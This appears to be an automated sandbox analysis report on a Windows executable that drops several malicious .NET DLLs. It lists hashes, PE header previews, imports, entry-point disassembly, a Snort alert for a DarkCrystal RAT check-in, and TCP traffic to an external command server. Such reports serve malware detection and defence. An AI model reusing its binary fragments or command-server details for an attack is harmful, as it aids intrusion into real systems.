                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                            C:\Users\user\Desktop\iUznwWYk.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):39936
                                                            Entropy (8bit):5.629584586954759
                                                            Encrypted:false
                                                            SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                            MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                            SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                            SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                            SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\ikefiKyX.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):39936
                                                            Entropy (8bit):5.660491370279985
                                                            Encrypted:false
                                                            SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                            MD5:240E98D38E0B679F055470167D247022
                                                            SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                            SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                            SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                            Malicious:true
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\qOmVSEOE.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):41472
                                                            Entropy (8bit):5.6808219961645605
                                                            Encrypted:false
                                                            SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                            MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                            SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                            SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                            SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\tzSlZRZx.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):36352
                                                            Entropy (8bit):5.668291349855899
                                                            Encrypted:false
                                                            SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                            MD5:94DA5073CCC14DCF4766DF6781485937
                                                            SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                            SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                            SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\vBETvAds.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):70144
                                                            Entropy (8bit):5.909536568846014
                                                            Encrypted:false
                                                            SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                            MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                            SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                            SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                            SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                            Malicious:true
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\vtJunvdL.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):46592
                                                            Entropy (8bit):5.870612048031897
                                                            Encrypted:false
                                                            SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                            MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                            SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                            SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                            SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                            Malicious:true
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\wGPuvkTt.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):33792
                                                            Entropy (8bit):5.541771649974822
                                                            Encrypted:false
                                                            SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                            MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                            SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                            SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                            SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                            Malicious:true
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\zbQSPIDz.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):342528
                                                            Entropy (8bit):6.170134230759619
                                                            Encrypted:false
                                                            SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                            MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                            SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                            SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                            SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                            Malicious:true
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            \Device\Null

                                                            Download File
                                                            Process:C:\Windows\System32\w32tm.exe
                                                            File Type:ASCII text
                                                            Category:dropped
                                                            Size (bytes):151
                                                            Entropy (8bit):4.828626027078422
                                                            Encrypted:false
                                                            SSDEEP:3:VLV993J+miJWEoJ8FXFtRRwbbV5wbLy6vpP/J8XKvj:Vx993DEUGRmbx5wbV
                                                            MD5:613E35744719FE58680D3C1FF27D8C6D
                                                            SHA1:E1840F0C1A170AD0E1D8CFD2064DC75C9C50E0C6
                                                            SHA-256:B51F511E916B73BA28B489B4AB17E6DBCF49C5A8DBE533921BB621EC33B4D5F8
                                                            SHA-512:DA8C484EF2286ED8F3946CC7363975B85C41DA281E30236D1B8C9F50427364D90664235D3D5A5CB3E57569C7EE906CA69499ABE453DF5BB66BF4D2D19F31F1E5
                                                            Malicious:false
                                                            Preview:Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 10/07/2024 04:43:53..04:43:53, error: 0x80072746.04:43:58, error: 0x80072746.

                                                            Static File Info

                                                            General

                                                            File type:PE32 executable (console) Intel 80386, for MS Windows
                                                            Entropy (8bit):7.9656623533663256
                                                            TrID:
                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                            • DOS Executable Generic (2002/1) 0.02%
                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                            File name:file.exe
                                                            File size:2'578'944 bytes
                                                            MD5:0124015421e8b708e3ff67e875ae0338
                                                            SHA1:6af22c992107e7fa1672d5e61a0254c998b4874e
                                                            SHA256:4c73b6e6708555b4764c9867e8158bef571c0610e5e9dbdd56bca798b6d4813b
                                                            SHA512:8564bbeb009c6cc5cb7ff1a465a83a4e4e517165d3800d559189b24e5c3c62db1893d2f835b5fccd6fb23b441238c974626cb261f2ab6a4bb07ead7197237877
                                                            SSDEEP:49152:ZSTglXX7alAVuQR4GM4zCnhp0+mI0gd7Bc83DgQa8qWJfKjXDuTR3o:ZSTg9X7cAVuTGM4zh+tBd7BcmFajWliU
                                                            TLSH:32C523517AD0C1B6D373A5B34868D7B50D3DF8211BB1AA9B93940DAFCFB12D1EA70242
                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..M..HM..HM..H.`.I_..H.`.I...H.`.I[..H...I_..H.`.IJ..HM..H...H...I...H...IU..H...IL..H...IL..H...HL..H...IL..HRichM..H.......

                                                            File Icon

                                                            Icon Hash:90cececece8e8eb0

                                                            Static PE Info

                                                            General

                                                            Entrypoint:0x40d742
                                                            Entrypoint Section:.text
                                                            Digitally signed:false
                                                            Imagebase:0x400000
                                                            Subsystem:windows cui
                                                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                            Time Stamp:0x668AD664 [Sun Jul 7 17:54:44 2024 UTC]
                                                            TLS Callbacks:
                                                            CLR (.Net) Version:
                                                            OS Version Major:6
                                                            OS Version Minor:0
                                                            File Version Major:6
                                                            File Version Minor:0
                                                            Subsystem Version Major:6
                                                            Subsystem Version Minor:0
                                                            Import Hash:55c0acf36986dbee7526009f420c04cb

                                                            Entrypoint Preview

                                                            Instruction
                                                            call 00007F431088BF9Dh
                                                            jmp 00007F431088B679h
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            push ecx
                                                            lea ecx, dword ptr [esp+08h]
                                                            sub ecx, eax
                                                            and ecx, 0Fh
                                                            add eax, ecx
                                                            sbb ecx, ecx
                                                            or eax, ecx
                                                            pop ecx
                                                            jmp 00007F431088C08Fh
                                                            push ecx
                                                            lea ecx, dword ptr [esp+08h]
                                                            sub ecx, eax
                                                            and ecx, 07h
                                                            add eax, ecx
                                                            sbb ecx, ecx
                                                            or eax, ecx
                                                            pop ecx
                                                            jmp 00007F431088C079h
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            push ebx
                                                            push esi
                                                            mov eax, dword ptr [esp+18h]
                                                            or eax, eax
                                                            jne 00007F431088B81Ah
                                                            mov ecx, dword ptr [esp+14h]
                                                            mov eax, dword ptr [esp+10h]
                                                            xor edx, edx
                                                            div ecx
                                                            mov ebx, eax
                                                            mov eax, dword ptr [esp+0Ch]
                                                            div ecx
                                                            mov edx, ebx
                                                            jmp 00007F431088B843h
                                                            mov ecx, eax
                                                            mov ebx, dword ptr [esp+14h]
                                                            mov edx, dword ptr [esp+10h]
                                                            mov eax, dword ptr [esp+0Ch]
                                                            shr ecx, 1
                                                            rcr ebx, 1
                                                            shr edx, 1
                                                            rcr eax, 1
                                                            or ecx, ecx
                                                            jne 00007F431088B7F6h
                                                            div ebx
                                                            mov esi, eax
                                                            mul dword ptr [esp+18h]
                                                            mov ecx, eax
                                                            mov eax, dword ptr [esp+14h]
                                                            mul esi
                                                            add edx, ecx
                                                            jc 00007F431088B810h
                                                            cmp edx, dword ptr [esp+10h]
                                                            jnbe 00007F431088B80Ah
                                                            jc 00007F431088B809h
                                                            cmp eax, dword ptr [esp+0Ch]
                                                            jbe 00007F431088B803h
                                                            dec esi
                                                            xor edx, edx
                                                            mov eax, esi
                                                            pop esi
                                                            pop ebx
                                                            retn 0010h
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            push ebx
                                                            mov eax, dword ptr [esp+14h]
                                                            or eax, eax
                                                            jne 00007F431088B81Ah
                                                            mov ecx, dword ptr [esp+10h]
                                                            mov eax, dword ptr [esp+0Ch]
                                                            xor edx, edx
                                                            div ecx
                                                            mov eax, dword ptr [esp+08h]

                                                            Data Directories

                                                            NameVirtual AddressVirtual Size Is in Section
                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x37dc00x4c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x37e0c0x3c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x2760000x1e0.rsrc
                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x2770000x2520.reloc
                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x34c680x1c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_TLS0x34cc00x18.rdata
                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x34ba80x40.rdata
                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IAT0x2c0000x184.rdata
                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                            Sections

                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                            .text0x10000x2a7680x2a800ed38f416af8993e2fa116189524f1d14False0.5639763327205882data6.65285241744663IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                            .rdata0x2c0000xc7200xc80074f954f5bae41190c5797291ba2769c1False0.4128515625data4.944686834428787IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .data0x390000x23cedc0x23be006f0e8e644f445646226f6f46628ee64eunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .rsrc0x2760000x1e00x2008794d51d7ccf119462ec8fd043a61442False0.525390625data4.703420258678549IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .reloc0x2770000x25200x26008bd84be5f021237e8af46bbc2712d9dfFalse0.7471217105263158data6.504259815791593IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                            Resources

                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                            RT_MANIFEST0x2760600x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.5931758530183727

                                                            Imports

                                                            DLLImport
                                                            USER32.dllOffsetRect
                                                            KERNEL32.dllCreateFileW, HeapSize, SetStdHandle, WaitForSingleObject, CreateThread, VirtualAlloc, FreeConsole, RaiseException, InitOnceBeginInitialize, InitOnceComplete, CloseHandle, WaitForSingleObjectEx, GetCurrentThreadId, GetExitCodeThread, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, TryAcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, GetLastError, FreeLibraryWhenCallbackReturns, CreateThreadpoolWork, SubmitThreadpoolWork, CloseThreadpoolWork, GetModuleHandleExW, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, QueryPerformanceCounter, EncodePointer, DecodePointer, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetCPInfo, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, InitializeSListHead, GetProcessHeap, RtlUnwind, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitThread, FreeLibraryAndExitThread, ExitProcess, GetModuleFileNameW, GetStdHandle, WriteFile, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, GetFileSizeEx, SetFilePointerEx, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, WriteConsoleW

                                                            Exports

                                                            NameOrdinalAddress
                                                            DestroyObjects10x408891

                                                            Possible Origin

                                                            Language of compilation systemCountry where language is spokenMap
                                                            EnglishUnited States

                                                            Network Behavior

                                                            Snort IDS Alerts

                                                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                            07/10/24-09:06:16.615989TCP2048095ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)4973180192.168.2.4193.233.115.185

                                                            Network Port Distribution

                                                            TCP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Jul 10, 2024 09:06:16.609930038 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:16.615267038 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:16.615348101 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:16.615988970 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:16.621028900 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:16.964257002 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:16.969655991 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.277714014 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.323028088 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.360779047 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.360821009 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.360904932 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.425970078 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.433233023 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.491446018 CEST4973280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.496865988 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.496947050 CEST4973280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.497083902 CEST4973280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.502008915 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.625983000 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.626241922 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.631228924 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.833333015 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.858673096 CEST4973280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:17.863750935 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.863781929 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.863809109 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:17.885639906 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.083327055 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.083849907 CEST4973380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.088840961 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.088886023 CEST8049731193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.088928938 CEST4973380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.088968992 CEST4973180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.089097023 CEST4973380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.093864918 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.182583094 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.199029922 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.199065924 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.199109077 CEST4973280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.199187994 CEST4973280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.199944019 CEST4973280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.204859972 CEST8049732193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.382029057 CEST4973480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.387131929 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.387213945 CEST4973480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.387379885 CEST4973480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.387433052 CEST4973480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.392366886 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.392395973 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.392427921 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.392478943 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.448097944 CEST4973380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.453397989 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.453582048 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.824518919 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.824533939 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.824546099 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.824558973 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:18.824605942 CEST4973380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.824652910 CEST4973380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.824814081 CEST4973380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:18.829762936 CEST8049733193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.061249971 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.070813894 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.070837021 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.070873976 CEST4973480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:19.070909977 CEST4973480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:19.071147919 CEST4973480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:19.075901985 CEST8049734193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.313863993 CEST4973580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:19.319207907 CEST8049735193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.319309950 CEST4973580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:19.319434881 CEST4973580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:19.324309111 CEST8049735193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.666934013 CEST4973580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:06:19.672331095 CEST8049735193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:06:19.672384977 CEST8049735193.233.115.185192.168.2.4
